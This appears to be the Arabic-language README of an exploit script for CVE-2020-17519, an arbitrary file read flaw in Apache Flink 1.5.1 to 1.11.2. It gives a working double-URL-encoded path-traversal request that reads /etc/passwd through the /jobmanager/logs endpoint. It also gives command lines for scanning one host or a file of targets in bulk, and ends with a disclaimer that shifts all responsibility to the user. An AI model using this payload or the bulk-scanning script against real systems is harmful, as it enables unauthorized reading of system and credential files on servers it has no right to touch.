CVE-2020-17519-Apache-Flink

CVE-2020-17519 Apache Flink قراءة ملف عشوائي

نطاق التأثير

Apache Flink 1.5.1 ~ 1.11.2

POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

طريقة استخدام السكربت

python3 CVE-2020-17519 --help لعرض المساعدة

python3 CVE-2020-17519 -u http://127.0.0.1:8080 للكشف عن وجود ثغرة في عنوان معين

python3 CVE-2020-17519 -f target.txt للكشف الجماعي عن الثغرات

إخلاء مسؤولية

أي عواقب أو خسائر مباشرة أو غير مباشرة ناتجة عن نشر أو استخدام المعلومات المقدمة في هذا المستند تقع على عاتق المستخدم وحده، ولا يتحمل المؤلف أي مسؤولية عن ذلك.